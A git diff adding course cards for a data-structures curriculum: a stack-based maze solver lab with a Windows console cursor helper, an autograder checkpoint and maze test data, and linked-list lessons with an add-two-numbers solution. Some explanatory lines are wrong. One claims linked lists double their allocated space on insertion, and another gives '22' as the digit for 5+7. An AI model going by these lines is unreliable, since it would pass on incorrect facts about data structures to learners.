diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4.md
new file mode 100644
index 00000000..a09b4b3c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4.md
@@ -0,0 +1,29 @@
+Now we have come to the hardest and most important step of the lab - actually writing the maze solver.
+
+```python
+def solveMaze(maze):
+```
+
+First of all, construct a while loop, which loops until the exit is found.
+
+Second, check all four directions, see which path is the best for us to step foot on. There's a few things for us to consider, write a corresponding if statement for each of them:
+
+> Is the tile blank?
+>
+> Is this where we just came from?
+>
+> Does it lead to a dead end?
+
+Third, what if all the four directions fail the conditions? Then we must be in a dead end! We should mark our current location as dead end, and backtrack our footsteps to go back to where we came from.
+
+Hints:
+
+
+Declare `rowStack` and `columnStack` to keep track of our paths. It should keep track of all the (row, col) locations that we have visited.`rowStack` and `columnStack` are two elements of the data structure Stack.
+
+
+* Declare two arrays `rowVisited` and `colVisited` to store the paths that lead to dead ends.
+
+* Write a function `inArray(rowVisited, columnVisited, arrSize, r, c)`that check whether a tile is a dead end or not.
+* Keep in mind that the maze starts at row: 1, column: 0. So make sure to initialize your location at (1,0) in the map.
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/5-1-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/5-1-1.md
new file mode 100644
index 00000000..52a5bd53
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/5-1-1.md
@@ -0,0 +1,79 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 5-1-1 Step 1
+
+### name
+```
+Set Cursor at x and y
+```
+
+### md_content
+```
+Write `gotoxy` such as the following to set the cursor at location x and y.
+
+```python
+def gotoxy(x, y): #function to show cursor position on screen
+ h = windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE) #allows you to write on the console
+ windll.kernel32.SetConsoleCursorPosition(h, COORD(x, y)) #determines the position in which to place a cursor on your console. Reference online for documentation on these functions.
+```
+
+`GetStdHandle` gets the output buffer that we wants to manipulate.
+
+`SetConsoleCursorPosition ` sets the cursor of **std_out** to the position of our choice.
+
+Call `gotoxy(curr_col, curr_row)` in solveMaze function, so your cursor can be moving along with you.
+
+And print out a character, anything to signifieth the cursor.
+```
+```
+
+## 5-1-1 Step 2
+
+### name
+```
+Call Function `gotoxy` Before
+```
+
+### md_content
+```
+Before the while loop for `mazeSolver`, after we initialize our start, do this:
+
+```python
+gotoxy(curr_col, curr_row)
+print("X")
+```
+
+This will give us an initial position, where we start the game.
+
+In the while loop for `mazeSolver`:
+
+At the beginning of the while loop do:
+
+```python
+gotoxy(curr_col, curr_row)
+print(" ")
+```
+
+This will cause "X" to dissappear when we are about to move.
+```
+```
+
+## 5-1-1 Step 2
+
+### name
+```
+Call Function `gotoxy` After
+```
+
+### md_content
+```
+Do this again at the end of the while loop, and X will reappear on the map, positioning at the new location.
+
+```python
+gotoxy(curr_col, curr_row)
+print("X")
+```
+```
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/5-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/5-1.md
new file mode 100644
index 00000000..88edcc00
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/5-1.md
@@ -0,0 +1,30 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 5-1 Step 1
+
+### name
+```
+Function `gotoxy`
+```
+
+### md_content
+```
+Write `gotoxy` such as the following to set the cursor at location x and y.
+
+```python
+def gotoxy(x, y): #function to show cursor position on screen
+ h = windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)
+ windll.kernel32.SetConsoleCursorPosition(h, COORD(x, y))
+```
+
+`GetStdHandle` gets the output buffer that we want to manipulate.
+
+`SetConsoleCursorPosition ` sets the cursor of **std_out** to the position of our choice.
+
+Call `gotoxy(x, y)` in solveMaze function, so your cursor can be moving along with you.
+
+And print out a character, or anything to signifieth the cursor.
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/5.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/5.md
new file mode 100644
index 00000000..cf92e5eb
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/5.md
@@ -0,0 +1,15 @@
+Write a function `gotoxy(c,r)` where c is the column and r is the row. This function sets the cursor position at position (c,r) i.e at the desired column and row on screen.
+
+
+Hint: use `windll.kernel32.GetStdHandle` and ` windll.kernel32.SetConsoleCursorPosition`.
+
+ `windll.kernel32.GetStdHandle` allows you to write on the console
+
+` windll.kernel32.SetConsoleCursorPosition` determines the position in which to place a cursor on your console. Reference online for documentation on these functions.
+
+In order to see the cursor, use `print("X")`.
+
+Back in your `solveMaze` function, remember to call `gotoxy` every time you decide to take a step.
+
+Hint: import `time`, and call `time.sleep(0.1)` to introduce a little delay for the user to see what's going on.
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/6-1-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/6-1-1.md
new file mode 100644
index 00000000..c541fd2a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/6-1-1.md
@@ -0,0 +1,67 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 6-1-1 Step 1
+
+### name
+```
+Define Files
+```
+
+### md_content
+```
+```python
+ mazeFile = "maze.txt"
+ doneFile = "done.txt"
+```
+```
+```
+
+## 6-1-1 Step 2
+
+### name
+```
+Load Files
+```
+
+### md_content
+```
+```python
+ maze= loadFile(mazeFile)
+ done= loadFile(doneFile)
+```
+```
+```
+
+## 6-1-1 Step 3
+
+### name
+```
+Print Maze and Solve Maze
+```
+
+### md_content
+```
+```python
+ printGrid(maze)
+ solveMaze(maze)
+```
+```
+```
+
+## 6-1-1 Step 4
+
+### name
+```
+Print Done
+```
+
+### md_content
+```
+```python
+ print("\n")
+ printGrid(done)
+```
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/6-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/6-1.md
new file mode 100644
index 00000000..a9d22a59
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/6-1.md
@@ -0,0 +1,18 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 6-1 Step 1
+
+### name
+```
+Creating Main
+```
+
+### md_content
+```
+We should first start by defining the files that we want to load.
+
+Then we load the files, print the map of the maze, solve maze, and print the grid, "Done".
+```
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/6.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/6.md
new file mode 100644
index 00000000..b3b43cf5
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/6.md
@@ -0,0 +1,11 @@
+Now, we have all the puzzle pieces that we need, let's put together our solver neatly in main by calling `loadFile`, `printGrid`, and `solveMaze`.
+
+
+
+After the maze solver find the exit, let's print out Done!:) from `done.txt`. Load the file by calling `loadFile(doneFile)`, and `printGrid(done)`.
+
+
+
+When you are done, get yourself some ice-cream.
+
+Congratulations! You have written a Maze Solver using Stack!~
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/git.keep b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/git.keep
similarity index 100%
rename from Module4.1_Intro_to_Data_Structures_and_Algos/git.keep
rename to Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/git.keep
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img1.png b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img1.png
new file mode 100644
index 00000000..b5642a91
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img1.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img2.png b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img2.png
new file mode 100644
index 00000000..2183d00b
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img2.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img3.jpg b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img3.jpg
new file mode 100644
index 00000000..0fd539af
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img3.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img4.jpg b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img4.jpg
new file mode 100644
index 00000000..b149f975
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img4.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img5.png b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img5.png
new file mode 100644
index 00000000..b5642a91
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img5.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img6.jpg b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img6.jpg
new file mode 100644
index 00000000..ddfcb5d5
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img6.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img7.png b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img7.png
new file mode 100644
index 00000000..b5642a91
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img7.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img8.png b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img8.png
new file mode 100644
index 00000000..2183d00b
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/Images/img8.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/checkpoints/3-checkpoint.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/checkpoints/3-checkpoint.md
new file mode 100644
index 00000000..a64481b6
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/checkpoints/3-checkpoint.md
@@ -0,0 +1,17 @@
+# name
+Checkpoint 1: `loadFile` and `printGrid`
+
+# cards_folder
+Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# checkpoint_type
+Autograder
+
+# instruction
+Please submit your code for `loadFile` function, `printGrid` function, and `Stack` class.
+
+# files_to_send
+main.py
+
+# test_file_location
+Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/tests/check1_test
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/images/img9.jpeg b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/images/img9.jpeg
new file mode 100644
index 00000000..03b6da3c
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/images/img9.jpeg differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/tests/check1_test/checkpoint1.test b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/tests/check1_test/checkpoint1.test
new file mode 100644
index 00000000..ae50b24a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/tests/check1_test/checkpoint1.test
@@ -0,0 +1,32 @@
+>>> grid = loadFile("maze1.txt")
+>>> printGrid(grid)
+████████████████████████████████████████████████████████████████████████████████████████████████████
+ ███████████████████████████████████████ ████████████████████████████████████████
+█████████ ██████████████████████████████ █████████ ████████████████████████████████████████
+█████████ ████████ ██████████████████████████ █████████ ████████████████████████████████████████
+█████████ ██████████ ███████████████ ██████████████████████████████████████████████████
+█████████ ███████████████████████ ████ ██████████████████████████████████████ ████
+█████████ ███████████████████████ ██████████ █████████████████████████████████ ██████ ████
+█████████ ███████████████ ██████████████ ████████████████████████████ ██████ ████
+█████████ ███████████████████████ █████ ███████████████████ ████████████████████████████ ██████ ▒
+█████████ ███████████████████████ █████ ███████████████████ ████████████████████ ██████ ████
+█████████ ███████████████████████ █████ █████ ████████████ ████████████████████ ██████ ████
+█ ██████████ ████████████ ███████████ ████████ ████████████ ████████████████████ ██████ ████
+█████████ ██████████ ████████████ ███████████ █ ████████████ ████████████████████ ██████ ████
+█████████ ██████████ ████████████ ███████████ █████████████████████ ████████████████████ ██████ ████
+█████████ ██████████ ████████████ ███████████ ██████████ ██████ ████
+█████████ ███ █████████████████████████████████ █████████ ██████ ████
+█████████████████████████████████ █████████████████████████████████ █████████ █████████████████ ████
+█████████████████████████████████ █████████████████████████████████ █████████ █████████████████ ████
+█████████████████████████████████ █████████████████████████████████ █████████ █████████████████ ████
+█████████████████████████████████ █████████████ █████████ █████████████ ███ ████
+█████████████████████████████████ █████████████████████████████████ █████████ █████████████ ███ ████
+█████████████████████████████████ █████████████████████████████████ █████████ █████████████ ███ ████
+█████████████████████████████████ █████████████████████████████████ █████████ █████████████ ███ ████
+██████████████ ██ █████████████████ █████████ █████████████ ███ ████
+██████████████ ██████████████████ ██ ████████████ █████████████████ █████████ █████████████ ███ ████
+██████████████ ██████████████████ ██ ██████████ █ █████████████████ █████████ ██████ ███ ████
+██████████████ ██████████████████ ██ █ █████████████████ ████████████████ ██████ ████
+██████████████ ██████████████████ ███████████████ █████████████████ ████████████████ ███████████████
+██████████████ ███████████████ █████████████████ ██ █
+████████████████████████████████████████████████████████████████████████████████████████████████████
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/tests/check1_test/maze1.txt b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/tests/check1_test/maze1.txt
new file mode 100644
index 00000000..b09cab5f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/tests/check1_test/maze1.txt
@@ -0,0 +1,31 @@
+1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
+0000000000111111111111111111111111111111111111111000000000001111111111111111111111111111111111111111
+1111111110000000000111111111111111111111111111111011111111101111111111111111111111111111111111111111
+1111111110111111110000011111111111111111111111111011111111101111111111111111111111111111111111111111
+1111111110001111111111000000000000111111111111111011111111111111111111111111111111111111111111111111
+1111111110111111111111111111111110000000000001111011111111111111111111111111111111111111000000001111
+1111111110111111111111111111111110111111111100000000000111111111111111111111111111111111011111101111
+1111111110000000001111111111111110000000111111111111110000001111111111111111111111111111011111101111
+1111111110111111111111111111111110111110111111111111111111101111111111111111111111111111011111100003
+1111111110111111111111111111111110111110111111111111111111100000000011111111111111111111011111101111
+1111111110111111111111111111111110111110111110000000000111111111111011111111111111111111011111101111
+1000000000111111111101111111111110111111111110111111110111111111111011111111111111111111011111101111
+1111111110111111111101111111111110111111111110100000000111111111111011111111111111111111011111101111
+1111111110111111111101111111111110111111111110111111111111111111111011111111111111111111011111101111
+1111111110111111111101111111111110111111111110000000000000000000000000000000001111111111011111101111
+1111111110000000011100000000000000111111111111111111111111111111111011111111100000000000011111101111
+1111111111111111111111111111111110111111111111111111111111111111111011111111101111111111111111101111
+1111111111111111111111111111111110111111111111111111111111111111111011111111101111111111111111101111
+1111111111111111111111111111111110111111111111111111111111111111111011111111101111111111111111101111
+1111111111111111111111111111111110111111111111100000000000000000000011111111101111111111111011101111
+1111111111111111111111111111111110111111111111111111111111111111111011111111101111111111111011101111
+1111111111111111111111111111111110111111111111111111111111111111111011111111101111111111111011101111
+1111111111111111111111111111111110111111111111111111111111111111111011111111101111111111111011101111
+1111111111111100000000000000000000110000000000000011111111111111111011111111101111111111111011101111
+1111111111111101111111111111111110110111111111111011111111111111111011111111101111111111111011101111
+1111111111111101111111111111111110110111111111101011111111111111111011111111100000000111111011101111
+1111111111111101111111111111111110110000000000001011111111111111111011111111111111110111111000001111
+1111111111111101111111111111111110111111111111111011111111111111111011111111111111110111111111111111
+1111111111111100001111111111111110000000000000000011111111111111111000000000000000110000000000000001
+1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/README.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/README.md
new file mode 100644
index 00000000..c325c898
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/README.md
@@ -0,0 +1,17 @@
+# github_id
+1
+
+# name
+Intro to Data Structures and Algorithms
+
+# description
+This module will introduce students to the basics of Data Structures and algorithms. Specifically, time and space complexity, stacks, queues, and hash tables.
+
+# gems_needed
+700
+
+# image
+
+
+# image_folder
+Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/images/DataStructures.jpg b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/images/DataStructures.jpg
new file mode 100644
index 00000000..44a4ef8e
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/images/DataStructures.jpg differ
diff --git a/Module_Twitter_API/activities/Act7_Making Own Twitter Bot/.gitkeep b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/.gitkeep
similarity index 100%
rename from Module_Twitter_API/activities/Act7_Making Own Twitter Bot/.gitkeep
rename to Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/.gitkeep
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/1.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/1.md
new file mode 100644
index 00000000..c68f892f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/1.md
@@ -0,0 +1,38 @@
+
+
+
+
+
+
+Think of a linked list like a string of pearls. Each pearl in the string leads to the next. The first pearl on the string can be called the "head" pearl. Likewise, the "head" node is the very first node in a linked list. Each node contains two things: some data associated with the node, and a reference to the next node in the list.
+
+In a singly linked list, each node has a single reference to the next node. A doubly linked list instead has *two* references, one for the next node and one for the previous node. The last node in all linked lists points to a "null" node, signifying the end of the list.
+
+Many benefits come with using a linked list instead of other similar data structures (like a static array). This includes dynamic memory allocation— if you don't know the amount of data you want to store during initialization, a linked list can quickly adjust the size of the list.
+
+However, there are several disadvantages to using a linked list. More space is used when dynamically allocating memory (mostly for the reference to the next node), and if you want to access an item in the middle, you have to start at the "head" node and follow the references until you reach the desired item.
+
+**In practice, some insertions cost more. If the list initially allocates enough space for six nodes, inserting a seventh means the list has to double its space (up to 12).**
+
+
+
+### The Linked List
+
+A simple implementation of a linked list includes the following methods:
+
+- Node class: implementing the idea of a node and its attributes
+- Insert: inserts a new node into the list
+- Size: returns size of the list
+- Search: searches the list for a node containing the requested data and returns that node if found, otherwise raises an error
+- Delete: searches the list for a node containing the requested data and removes it if found, otherwise raises an error
+
+Now, we can create the start of our linked list! Luckily, the linked list (as a class) itself is actually the "head" node!
+
+**Note: Upon initialization, a list has no nodes, so the "head" node is set to None. Because a linked list doesn't necessarily need a node to initialized, the "head" node by default will set itself to None.**
+
+```python
+class LinkedList(object):
+ def __init__(self, head=None):
+ self.head = head
+```
+Now, we can implement the most important attribute of a linked list: the node!
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/10.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/10.md
new file mode 100644
index 00000000..885feb6d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/10.md
@@ -0,0 +1,24 @@
+
+
+Just like in normal math, we would start by summing the least-significant digits, which is the head of `l1` and `l2`. Since each digit is in the range of `0…9`, summing two digits may "overflow". For example `5 + 7 = =12`. In this case, we need to set the current digit to `22` and bring over the `carry = 1` to the next iteration. `carry` must be either `0` or `1` because the largest possible sum of two digits (including the carry) is `9 + 9 + 1 = 19`.
+
+The pseudocode for this process would be as follows:
+
+- Initialize the current node to a dummy head of the returning list.
+- Initialize `carry` to 0.
+- Initialize `p` and `q` to the heads of `l1` and `l2` respectively.
+- Loop through lists `l1` and `l2` until you reach both ends.
+ - Set `x` to node `p`'s value. If `p` has reached the end of `l1`, set `x` to `0`.
+ - Set `y` to node `q`'s value. If `q` has reached the end of `l2`, set `y` to `0`.
+ - Set `sum = x + y + carry`.
+ - Update `carry = sum / 10`.
+ - Create a new node with the digit value of (`sum mod 10`) and set it to the current node's `next` node, then advance the current node to the `next` node.
+ - Advance both `p` and `q`.
+- Check if `carry = 1`, if so append a new node with digit `1` to the returning list.
+- Return the dummy head's `next` node.
+
+Note here that we use a dummy head to simplify the code. Without a dummy head, you would have to write extra conditional statements to initialize the head's value. Additionally, take care to consider the following special cases:
+
+1. When one list is longer than the other.
+2. When one list is null, which means an empty list.
+3. The sum could have an extra carry of one at the end, which is easy to forget.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/11.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/11.md
new file mode 100644
index 00000000..f5f7e772
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/11.md
@@ -0,0 +1,42 @@
+
+
+Below is an implementation of the solution in Python:
+
+```python
+# Definition for singly-linked list.
+# class ListNode(object):
+# def __init__(self, x):
+# self.val = x
+# self.next = None
+
+class Solution(object):
+ def addTwoNumbers(self, l1, l2):
+ """
+ :type l1: ListNode
+ :type l2: ListNode
+ :rtype: ListNode
+ """
+ result = ListNode(0) # Dummy Head
+ result_tail = result
+ carry = 0
+
+ #While we haven't reached the end of either list
+ #or carry isn't 0...
+ while l1 or l2 or carry:
+ val1 = (l1.val if l1 else 0)
+ val2 = (l2.val if l2 else 0)
+ #The divmod function returns a tuple when passed in
+ #two integers representing a divisor and a dividend.
+ #The tuple consists of the quotient and the remainder
+ #of the division.
+ carry, out = divmod(val1+val2 + carry, 10)
+
+ result_tail.next = ListNode(out)
+ result_tail = result_tail.next
+
+ l1 = (l1.next if l1 else None)
+ l2 = (l2.next if l2 else None)
+
+ return result.next
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/2.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/2.md
new file mode 100644
index 00000000..18bb6f23
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/2.md
@@ -0,0 +1,54 @@
+
+
+
+
+
+
+### The Node
+
+Below is a simple implementation of a `Node` class (a representation of the `Node` objects in a linked list).
+
+```python
+class Node(object):
+ def __init__(self, data):
+ self.data = data
+ self.next_node = None
+```
+The node is where data is stored in the linked list; if a pearl was hollow and contained a bead inside, the bead would be the data. Along with the data, each node also holds a **pointer** which is a reference to the next node in the list. If it was a doubly linked list, the reference to the previous node would be a pointer too.
+
+The node's data is initialized with data received at creation. Its pointer is initially set to None since the first node inserted into the will wouldn't have any other node to point to.
+
+Each `Node` object contains data that can be retrieved via the `get_data` function and can retrieve or set the next node via the functions `get_next` and `set_next` respectively.
+
+After implementing the class `Node`, we can begin to implement functions to help retrieve information about the specified `Node` object.
+
+- The function `get_data` will return whatever data is stored in the current `Node` object.
+- The function `get_next` will return the location of the node that comes next.
+- The function `set_next` will reset the next node to a new node.
+
+```python
+ def get_data(self):
+ return self.data
+
+ def get_next(self):
+ return self.next_node
+
+ def set_next(self, new_next):
+ self.next_node = new_next
+```
+
+**Note: `next_node` is a pointer to another `Node` object! It's not its own node!**
+
+Now, to actually create our linked list and a node for it...
+
+```python
+film = LinkedList()
+film.head = Node(900)
+```
+Our linked list will look like this:
+
+
+
+
+
+Inserting the following Nodes will be almost as easy!
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/3.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/3.md
new file mode 100644
index 00000000..981e8660
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/3.md
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+To begin inserting new nodes into the linked list, we'll create an `insert()` method! We will take data, initialize a new `Node` object with the data, then add it to the list. Although it's possible to insert a new node anywhere in the list, it becomes less costly to insert it at the beginning.
+
+If we had a string of pearls and wanted to add a new pearl, we'd add the pearl at the start of the string, making our new pearl the "head" pearl. In the same sense, when inserting the new node at the beginning, it becomes the new "head" of the list. We can just have the next node (for our new "head") point to the old "head" node.
+
+```python
+def insert(self, data):
+ new_node = Node(data)
+ new_node.set_next(self.head)
+ self.head = new_node
+```
